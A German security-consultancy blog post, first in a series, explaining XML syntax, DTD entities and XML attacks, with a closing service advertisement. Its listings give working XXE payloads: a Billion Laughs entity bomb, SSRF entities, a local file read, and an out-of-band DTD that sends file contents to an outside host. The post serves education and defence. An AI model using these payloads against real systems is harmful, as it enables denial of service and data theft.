XML im Überlick

Welche Risiken bietet XML? – Blogserie – Teil #01 – Banner
Welche Risiken bietet XML? – Blogserie – Teil #01 – Banner

Welche Risiken bietet XML? – Blogserie – Teil #01

Die Extensible Markup Language (XML) ist eine der meist genutzten Sprachen um hierarchische Daten darzustellen. Die Popularität von XML geht einher mit der Nutzung von AJAX [9] zu Beginn des modernen Internets [2]. Obwohl XML als das führende Datenaustauschformat des Internets durch JSON abgelöst wurde [2] hat das Format seinen Stempel auf der heutigen Technologielandschaft hinterlassen. Denn was auch immer man heutzutage am PC macht, man nutzt – bewusst oder unbewusst – höchstwahrscheinlich XML.

Hierzu einige relevante Beispiele: Microsoft’s Office Dateien, also .docx, .xlsx, or .pptx, nutzen intern XML. SVG, ein weitverbreitetes Dateiformat für Vektorgrafiken, basiert direkt auf XML. Die Suchmachine Shodan [8] hat aktuell mehr als drei Millionen Geräte und Server gelistet welche XML zum Datenaustausch nutzen.¹

Insgesamt listet das Fileformat Archive 185 Dateiformate, die XML beinhalten [3].² Über die unterschiedlichen Nutzungsfälle von XML berichten wir genauer in dem zweiten Beitrag dieser Serie.

Doch warum ist der Einsatz von XML sicherheitsrelevant und was muss dabei beachtet werden? Die OWASP Top 10 [1] listet die größten Sicherheitsrisiken für Webanwendungen auf und hat sich allgemein als quasi-Standard im Bereich der Websicherheit etabliert. In der 2017 erschienen Version der Top 10 Liste wurden XML External Entity (XXE) Angriffe auf Platz vier geführt.³ XXE Angriffe sind nur eine Art von Angriff, die auf XML basieren bzw. XML zum Ziel haben. Im Allgemeinen ermöglicht XML unterschiedlichste Angriffsklassen, darunter Local File Inclusion, Server-Side Request Forgery und Denial of Service. Diese Fülle an unterschiedlichen Angriffsmöglichkeiten macht ein Verständnis von XML und den Angriffen auf das Format zu einem wichtigen Bestandteil einer jeden Sicherheitsanalyse.

In dieser Blogserie möchten wir das XML Datenformat und ausgewählte Angriffe auf das Format erklären und uns damit auseinandersetzen in welchen typischen Szenarien es zum Einsatz kommt.

 

XML – eine Einführung

XML Syntax

XML wird von dem World Wide Web Consortium [4] spezifiziert. Das Format erlaubt es Daten in einer Baum-ähnlichen hierarchischen Struktur darzustellen. Es wird daher häufig zur Serialisierung von Informationen genutzt. XML hat eine streng definierte Struktur: jedes Element hat einen Tag, sowie optional Attribute, einen Wert und Kinder-Elemente. Ein Beispiel für die unterschiedlichen Elemente ist in in Listing 1 zu sehen.

Ein Element wird durch den Tag identifiziert. Wenn ein Element keinen Wert hat, kann es selbst-schließend sein (<element/>), ansonsten hat jedes Element einen öffnenden und schließenden Tag (<element>...</element>). Attribute sind key=value Paare, die in dem Tag eines Elements gespeichert werden. Werte befinden sich zwischen den Tags und dürfen selber keine XML Syntax beinhalten.

Sollte Text – welcher Elemente der XML Syntax beinhaltet – in ein Dokument übernommen werden, muss dieser von dem <![CDATA[...]]> Element umschlossen werden. Dies führt dazu, dass der Parser den umschlossenen Text nicht als XML interpretiert und nicht versucht diesen zu parsen.


<?xml version="1.0" encoding="utf-8"?>
<company name="Hackmanit" location="Bochum">
    <services>
        <service>training</service>
        <service>penetration testing</service>
    </services>
    <areas>
        <area name="web security"/>
        <area name="single sign-on" short="sso"/>
        <area name="tls"/>
    </areas>
</company>

XML Elemente – Eine Übersicht über die unterschiedlichen Typen. (Listing 1)

 

Was sind XML Entities?

Um XML Syntax zu escapen werden sogenannte Entities verwendet – wer schon einmal HTML Code gelesen hat kennt die Syntax. Um zum Beispiel das Symbol < darzustellen kann man die Entity &lt; nutzen, wobei lt der Name der Entity ist. Das Und-Zeichen referenziert den Zeichenwert der in der Entity lt gespeichert ist.

Das Besondere an diesen Entities ist, dass es neben vordefinierten Entities – die XML Syntax escapen – auch die Möglichkeit gibt, eigene Entities zu definieren. Dies ist möglich durch eine sogenannten Document Type Definition (DTD). DTDs sind Teil der XML Spezifikation und eigentlich dazu gedacht die Struktur und die Typen des Dokumentes zu definieren. Was die DTD und die Entities vor allem relevant für eine Sicherheitsanalyse macht, ist die Fähigkeiten auf lokale und remote Daten zuzugreifen..

Es gibt vier unterschiedliche Arten von Entities, die mittels einer DTD definiert werden können. Es gibt General und Parameter Entities:

  • General Entities funktionieren ähnlich zu den vordefinierten Entities wie &lt;. Das heißt sie werden im XML durch einen vorher definierten String ersetzt.
  • Parameter Entities sind nur innerhalb der DTD gültig und können dazu dienen andere Aspekte der DTD zu parametrisieren. Diese werden ähnlich zur General Entity aufgerufen, nur mit einem % anstelle des &: %parameterEntity;.

Diese Entities können jeweils Internal oder External sein:

  • Internal Entities sind effektiv vordefinierte Zeichenketten, die so in der DTD gespeichert sind.
  • External Entities dagegen sind Zeichenketten, die aus einer externen Quelle kommen. Dabei können die Quellen sowohl lokale Dateien, als auch Dateien von einem remote Server, sein. Um dies zu erreichen wird das SYSTEM Keyword genutzt. Dieses gibt an, dass das Protokoll zu Beginn des nachfolgenden Textes ausgeführt werden soll. Also zum Beispiel per file:// oder http:// eine externe Datei geladen werden soll.

Die vier beschriebenen Arten von Entities sind in Listing 2 beispielhaft dargestellt.


<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY internalGeneral "This is an internally defined general entity.">
    <!ENTITY externalGeneral SYSTEM "local-file.txt">
    <!ENTITY % internalParameter "<!ENTITY ent 'Im available if %internalParameter; is called'>" >
    %internalParameter;
    <!ENTITY % externalParameter SYSTEM "http://example.com/external.dtd" >
    %externalParameter;
]>
...

DTD Entities – Beispiele für die vier verschiedenen Arten. (Listing 2)

 

Welche XML Angriffe gibt es?

Wie bereits erwähnt gibt es unterschiedliche Arten von Angriffen, die mittels XML möglich sind. Im folgenden stellen wir ausgewählte Angriffe vor und erläutern ihre Funktionsweise. Für eine ausführliche Übersicht über viele bekannte Angriffe gibt es viele gute Quellen, z. B. den XXE Cheat Sheet [5].

Denial of Service

Denial of Service (DoS) Angriffe dienen dazu eine Software oder einen Service zu überlasten. Legitime Anfragen können dann nicht mehr verarbeitet werden, so dass der Service effektiv außer Betrieb genommen ist. Das kann durch ein Fehlverhalten passieren, welches den Service zum Absturz bringt, oder durch Daten, deren Verarbeitung Rechenleistungen benötigt und den Service unbenutzbar machen.

Im Fall von XML ist die Idee ähnlich zu der einer Archivbombe [6]: Es wird ein kleines XML Dokument konstruiert, welche den Service in eine Endlosschleife versetzt oder während des Parsens unerwartet viel Arbeitsspeicher einnimmt.

In Listing 3 sieht man ein Beispiel des sogenannten Billion-Laughs Angriffs. Bei diesem Angriff wird die Funktionalität von DTDs ausgenutzt, die es erlaubt, rekursiv in Entities andere Entities zu referenzieren. Zunächst wird eine Entity a0 definiert, welche den Text lol enthält.
Diese Entity wird dann in der nächsten Entity a1 referenziert.⁴ Das bedeutet, in a1 ist nach dem Auflösen der Referenzen 10 mal der Text lol enthalten. In der Entity a2 wird anschließend wiederum a1 referenziert. Dadurch enthält a2 nach dem Auflösen der Referenzen 10x10 mal den Text lol. Dieses Vorgehen kann beliebig oft wiederholt werden, bis die gewünschte Anzahl an Ebenen von Rekursions bzw. der gewünschte Faktor erreicht ist. In unserem Beispiel enthält die Entity lol am Ende 1010 (also 10 Milliarden) mal den Text lol.

Um in Java einen String von dieser Länge zu speichern werden in etwa 60GB Speicher benötigt [7].


<!DOCTYPE data [
    <!ENTITY a0 "lol" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ...
    <!ENTITY lol "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<data>&lol;</data>

Billion-Laughs – Beispiel eines DoS Angriffs [5]. (Listing 3)

 

Server-Side Request Forgery (SSRF)

Mittels external Entities können externe Daten eingebunden werden. Diese Funktionalität kann missbraucht werden, um einen verwundbaren Server dazu zu bringen schadhafte Requests zu versenden. Sollte der verwundbare Server privilegierte Rechte auf dem Ziel-Service haben, können diese Anfrage sensitive Daten auslesen oder (wenn die GET-Requests Parameter zulassen) Daten ändern. Diese Angriffsklasse kann es dabei auch erlauben Requests an Systeme zu senden, die nur über interne Netzwerke erreichbar oder durch eine Firewall geschützt sind.

Das erste Beispiel in Listing 4 zeigt wie die Datei file.xml von einem externen Server eingelesen wird. Der Server example.com ist in diesem Kontext nur für den  verwundbaren Server, der das XML parst, erreichbar, aber nicht für die angreifende Person (abgesichert gegen externe Zugriffe). Durch diesen Angriff kann die angreifende Person dennoch die Daten in file.xml auslesen. Das zweite Beispiel zeigt wie in einem ähnlichen Szenario ein GET-Request genutzt wird um dem Server neue Daten zuzuweisen.


Beispiel 1: Externe Datei von einem geschützten System [5].

<!DOCTYPE data [
    <!ENTITY remote SYSTEM "http://example.com/file.xml">
]>
<data>&remote;</data>


Beispiel 2: GET-Request an ein geschütztes System.⁵

<!DOCTYPE data [
    <!ENTITY remote SYSTEM "http://example.com?new_pw=123456">
]>
<data>&remote;</data>

SSRF Angriffe – Beispiel für unterschiedliche SSRF Angriffe mittels External General Entities. (Listing 4)

 

Local File Inclusion

Diese Art des Angriffs nutzt die DTD Syntax dazu aus lokale Dateien und Informationen auszulesen. Diese Informationen werden dann in das XML Dokument eingefügt. Für den Fall, dass das XML Dokument als Antwort zurückgeliefert oder in einer Anwendung angezeigt wird, können die Informationen somit gestohlen werden.

In Listing 5 wird beispielhaft eine Datei einen Linux Systems ausgelesen. Der Inhalt der Datei befindet sich nach dem Parsen in dem XML Dokument und kann – je nach Anwendungsfall – für eine angreifende Person zugänglich sein.


<!DOCTYPE data [
    <!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>

Local File Inclusion – Ein Beispiel Angriff mit External General Entities [5]. (Listing 5)

 

Sollte es kein direktes Feedback geben, so kann auch ein indirekter Kanal dazu dienen die Daten zu extrahieren (Out-of-Band Angriffe). Dies ist möglich durch Parameter Entities, welche auch aufgelöst werden, wenn diese sich in der URL einer externen Entity befinden. Es gibt einige Beschränkungen in der DTD Syntax, die dieses Vorgehen eigentlich nicht zulassen sollten. Allerdings können die Beschränkungen häufig durch das Laden externer DTDs umgangen werden.

Listing 6 zeigt wie eine externe DTD im geparsten XML Dokument geladen wird. Diese externe DTD lädt eine Datei aus dem lokalen Speicher (wie in Listing 5), fügt den Inhalt der Datei jedoch nicht in das XML Dokument ein. Stattdessen wird der Dateiinhalt als Parameter an eine URL angehangen, die anschließend aufgerufen wird. Aus der Anfrage an die URL kann der Inhalt der lokalen Datei schließlich ausgelesen werden.


Bösartiges XML Dokument, welches eine externe DTD lädt:

<!DOCTYPE data SYSTEM "http://example.com/parameter-entity-oob.dtd">
<data>&send;</data>


DTD verfügbar unter http://example.com/parameter-entity-oob.dtd:

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

Out-Of-Band Angriff – Ein Beispiel [5]. (Listing 6)

 

 

 

Teil #02 – Wo wird XML in der Praxis eingesetzt?

Mit der Antwort auf diese Frage beschäftigt sich der zweite Teil der Blogserie zum XML Format. Der Blogpost gibt Aufschluss darüber in welchen Szenarien XML zum Einsatz kommt und hilft Ihnen potentielle Schwachstellen in Ihren Systemen aufzudecken.

 
Blogserie – Welche Risiken bietet XML? – Alle Teile auf einen Blick

Teil #01 – XML im Überblick

Teil #02 – Wo wird XML in der Praxis eingesetzt?

Teil #03 – XXE Angriffe finden in 3 Schritten

Teil #04 – Sicherheitslücken in SOAP Web Services aufdecken

 

Folgen Sie uns auf X (Twitter) oder Linkedin und verpassen Sie keinen unserer zukünftigen Blogbeiträge.

 

 

Fußnoten

¹ https://www.shodan.io/search?query=%22Content-Type%3A+text%2Fxml%22 sucht nach allen Einträgen in der Datenbank welche im HTTP Header Content-Type: text/xml verzeichnet haben.

² https://fileinfo.com/ hat 126 Dateitypen die XML direkt nutzen und 910 Dateitypen bei denen XML eine Rolle in der Beschreibung spielt gelistet.

³ In der neuesten Version von 2021 sind XXE Angriffe nicht mehr gesondert geführt, sondern in eine größere Kategorie aufgenommen worden. Die Kategorie “Security Misconfiguration” ist auf Platz fünf gelistet.

⁴ Die Namen und Texte selbst sind nicht relevant. Der Name des Angriffes stammt von dem originalen Beispiel mit dem Text “lol” (laughing-out-loud), also “Millarden Lacher”.

⁵ Das setzen von Werten über GET-Requests sollte im allgemeinen vermieden werden [10] und auch sensitive Daten sollte nicht in den URL Parametern eines GET-Requests vorkommen [11].

 

Quellen

[1] https://owasp.org/Top10/

[2] https://www.toptal.com/web/json-vs-xml-part-1

[3] http://fileformats.archiveteam.org/wiki/Category:XML_based_file_formats

[4] https://www.w3.org/TR/2008/REC-xml-20081126/

[5] https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

[6] https://de.wikipedia.org/wiki/Archivbombe

[7] https://www.javamex.com/tutorials/memory/string_memory_usage.shtml

[8] https://help.shodan.io/the-basics/what-is-shodan

[9] https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX

[10] https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET

[11] https://cwe.mitre.org/data/definitions/598.html

 

 

Unsere Experten entwickeln die optimale Lösung für Sie

XML Parsing – XML Sicherheit – SOAP

Stehen Sie vor der Entscheidung, wie Sie XML sicher verarbeiten und Ihre Kundendaten optimal schützen können? Oder setzen Sie bereits XML ein und fragen sich, ob Ihre Implementierung sicher ist?

Wir beraten Sie gerne; kontaktieren Sie uns für eine unverbindliche Erstberatung. So stehen wir Ihnen mit folgenden Services und Lösungen zur Seite:

IT-Sicherheitsberatung  |  Schulungen   |  Penetrationstests

Zögern Sie nicht und finden Sie mit uns Ihren Weg zu sicheren APIs. Wir freuen uns darauf Sie bei Ihren Projekten zu unterstützen.

 

Ihr Ansprechpartner für XML-Sicherheit und SOAP

Prof. Dr. Juraj Somorovsky
juraj.somorovsky@hackmanit.de